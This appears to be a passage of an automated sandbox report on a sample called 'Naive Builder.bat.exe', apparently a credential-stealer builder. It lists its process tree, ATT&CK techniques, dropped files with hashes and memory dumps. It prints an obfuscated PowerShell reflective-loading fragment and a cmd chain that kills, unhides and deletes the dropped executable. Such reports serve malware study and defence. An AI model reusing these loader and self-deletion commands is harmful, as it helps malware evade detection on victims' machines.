IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2408
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:928
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2872
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3280
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe"
        5⤵
        Kills process with taskkill
        
        PID:3024
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:5240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3796

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4076

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4148

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4352

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:976

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4204

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2668

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3308

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:4504

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 87d4b16173db5bcf2e3d6a477e70a004 9DfgcGP1gEO8fhm2owkT6A.0.1.0.0.0
1⤵
PID:3552
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1936

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:3388

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:4632

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4560

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3856

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:5920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54blu5lq.g1e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\naive-stealer-main\Naive Builder.bat.exe

Filesize
445KB

MD5
2e5a8590cf6848968fc23de3fa1e25f1

SHA1
801262e122db6a2e758962896f260b55bbd0136a

SHA256
9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3

SHA512
5c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
3KB

MD5
4838ee953dab2c7a1bf57e0c6620a79d

SHA1
8c39cd200f9ffa77739ff686036d0449984f1323

SHA256
22c798e00c4793749eac39cfb6ea3dd75112fd4453a3706e839038a64504d45d

SHA512
066782b16e6e580e2861013c530d22d62c5ba0f217428cc0228ad45b855e979a86d2d04f553f3751cf7d063c6863cb7ea9c86807e7f89c7e0ae12481af65af76

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
3KB

MD5
8e64ab95d5d2c4c1e7a757624cb1fffa

SHA1
9889f93ad60bacb07683b4a23c40aa32954646d8

SHA256
dff8902430dcae2fba05fc7f54157c4bc8a7445ed488c1d5727947a0c07075d6

SHA512
3ecc166686c1d7d61e91ec972244118980bf626a88123b87136695ac206e159933ad9f9feb3fd565713dd5d99038f427b845637c51a57497f0ac716de3a7973c

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
c6086d02f8ce044f5fa07a98303dc7eb

SHA1
6116247e9d098b276b476c9f4c434f55d469129c

SHA256
8901d9c9aea465da4ea7aa874610a90b8cf0a71eba0e321cf9675fceee0b54a0

SHA512
1876d8fc1a8ac83aadb725100ea7a1791bd62d4d0edc1b78802e0bffe458f309a66dc97e1b9da60dd52b8cb80bf471ccb5f8480e6192c9eb2a13eac36462d27a

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
3KB

MD5
39b9eb9d1a56bc1792c844c425bd1dec

SHA1
db5a91082fa14eeb6550cbc994d34ebd95341df9

SHA256
acade97e8a1d30477d0dc3fdfea70c2c617c369b56115ec708ed8a2cfdbc3692

SHA512
255b1c1c456b20e6e3415540ef8af58e723f965d1fa782da44a6bbc81b43d8a31c5681777ba885f91ed2dae480bc2a4023e01fe2986857b13323f0459520eb51

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
4ac1741ceb19f5a983079b2c5f344f5d

SHA1
f1ebd93fbade2e035cd59e970787b8042cdd0f3b

SHA256
7df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc

SHA512
583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
a9124c4c97cba8a07a8204fac1696c8e

SHA1
1f27d80280e03762c7b16781608786f5a98ff434

SHA256
8ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21

SHA512
537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392

Download Submit
C:\Windows\System32\ucrtbased.dll

Filesize
1.8MB

MD5
7873612dddd9152d70d892427bc45ef0

SHA1
ab9079a43a784471ca31c4f0a34b698d99334dfa

SHA256
203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf

SHA512
d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083

Download Submit
C:\Windows\System32\vcruntime140_1d.dll

Filesize
52KB

MD5
9ef28981adcbf4360de5f11b8f4ecff9

SHA1
219aaa1a617b1dfa36f3928bd1020e410666134f

SHA256
8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a

SHA512
ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c

Download Submit
C:\Windows\System32\vcruntime140d.dll

Filesize
162KB

MD5
a366d6623c14c377c682d6b5451575e6

SHA1
a8894fcfb3aa06ad073b1f581b2e749b54827971

SHA256
7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6

SHA512
cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11

Download Submit
memory/420-110-0x000001B925560000-0x000001B925587000-memory.dmp

Filesize
156KB

Download
memory/420-111-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/436-113-0x000002BC48830000-0x000002BC48857000-memory.dmp

Filesize
156KB

Download
memory/436-114-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/632-98-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/632-97-0x0000024D64420000-0x0000024D64447000-memory.dmp

Filesize
156KB

Download
memory/632-96-0x0000024D643F0000-0x0000024D64411000-memory.dmp

Filesize
132KB

Download
memory/688-101-0x0000023FEE800000-0x0000023FEE827000-memory.dmp

Filesize
156KB

Download
memory/688-102-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/740-126-0x000001AF3FED0000-0x000001AF3FEF7000-memory.dmp

Filesize
156KB

Download
memory/740-127-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/752-129-0x000001BC62740000-0x000001BC62767000-memory.dmp

Filesize
156KB

Download
memory/752-130-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/968-105-0x00000156149C0000-0x00000156149E7000-memory.dmp

Filesize
156KB

Download
memory/968-106-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/1056-23-0x0000020DC7ED0000-0x0000020DC8F76000-memory.dmp

Filesize
16.6MB

Download
memory/1056-472-0x00007FF8DDD93000-0x00007FF8DDD94000-memory.dmp

Filesize
4KB

Download
memory/1056-31-0x0000020DACAC0000-0x0000020DACACC000-memory.dmp

Filesize
48KB

Download
memory/1056-21-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-29-0x0000020DC9510000-0x0000020DC9568000-memory.dmp

Filesize
352KB

Download
memory/1056-28-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-27-0x0000020DC9270000-0x0000020DC9508000-memory.dmp

Filesize
2.6MB

Download
memory/1056-26-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-63-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-25-0x0000020DC8F80000-0x0000020DC926A000-memory.dmp

Filesize
2.9MB

Download
memory/1056-24-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-32-0x00007FF8EDE90000-0x00007FF8EE088000-memory.dmp

Filesize
2.0MB

Download
memory/1056-1-0x00007FF8CF3F3000-0x00007FF8CF3F5000-memory.dmp

Filesize
8KB

Download
memory/1056-992-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-30-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-20-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-19-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-18-0x00007FF8CF3F3000-0x00007FF8CF3F5000-memory.dmp

Filesize
8KB

Download
memory/1056-17-0x00007FF8EC750000-0x00007FF8EC80D000-memory.dmp

Filesize
756KB

Download
memory/1056-16-0x00007FF8EDE90000-0x00007FF8EE088000-memory.dmp

Filesize
2.0MB

Download
memory/1056-15-0x0000020DACA90000-0x0000020DACABC000-memory.dmp

Filesize
176KB

Download
memory/1056-14-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-13-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-12-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1056-2-0x0000020DACB60000-0x0000020DACB82000-memory.dmp

Filesize
136KB

Download
memory/1056-22-0x00007FF8CF3F0000-0x00007FF8CFEB2000-memory.dmp

Filesize
10.8MB

Download
memory/1076-120-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/1076-119-0x0000019B85A70000-0x0000019B85A97000-memory.dmp

Filesize
156KB

Download
memory/1104-133-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/1104-132-0x000001FF0D0C0000-0x000001FF0D0E7000-memory.dmp

Filesize
156KB

Download
memory/1132-135-0x000001BFD9B40000-0x000001BFD9B67000-memory.dmp

Filesize
156KB

Download
memory/1132-136-0x00007FF8ADF10000-0x00007FF8ADF20000-memory.dmp

Filesize
64KB

Download
memory/1200-138-0x00000181DA3B0000-0x00000181DA3D7000-memory.dmp

Filesize
156KB

Download
memory/1720-94-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/1720-82-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/1720-81-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/1720-84-0x00007FF8EC750000-0x00007FF8EC80D000-memory.dmp

Filesize
756KB

Download
memory/1720-83-0x00007FF8EDE90000-0x00007FF8EE088000-memory.dmp

Filesize
2.0MB

Download
memory/2548-34-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/2548-36-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/3288-59-0x00007FF8EDE90000-0x00007FF8EE088000-memory.dmp

Filesize
2.0MB

Download
memory/3288-57-0x000002D725D70000-0x000002D7261CC000-memory.dmp

Filesize
4.4MB

Download
memory/3288-66-0x000002D7276D0000-0x000002D727782000-memory.dmp

Filesize
712KB

Download
memory/3288-65-0x000002D7275C0000-0x000002D727610000-memory.dmp

Filesize
320KB

Download
memory/3288-77-0x000002D727610000-0x000002D72764C000-memory.dmp

Filesize
240KB

Download
memory/3288-79-0x00007FF8EDE90000-0x00007FF8EE088000-memory.dmp

Filesize
2.0MB

Download
memory/3288-58-0x000002D7261D0000-0x000002D726282000-memory.dmp

Filesize
712KB

Download
memory/3288-67-0x000002D727960000-0x000002D727B22000-memory.dmp

Filesize
1.8MB

Download
memory/3288-56-0x000002D7255B0000-0x000002D725D6C000-memory.dmp

Filesize
7.7MB

Download
memory/3288-55-0x000002D725170000-0x000002D7255B2000-memory.dmp

Filesize
4.3MB

Download
memory/3288-53-0x00007FF8EDE90000-0x00007FF8EE088000-memory.dmp

Filesize
2.0MB

Download
memory/3288-54-0x00007FF8EC750000-0x00007FF8EC80D000-memory.dmp

Filesize
756KB

Download
memory/3288-78-0x000002D727570000-0x000002D72759E000-memory.dmp

Filesize
184KB

Download
memory/3288-80-0x00007FF8EC750000-0x00007FF8EC80D000-memory.dmp

Filesize
756KB

Download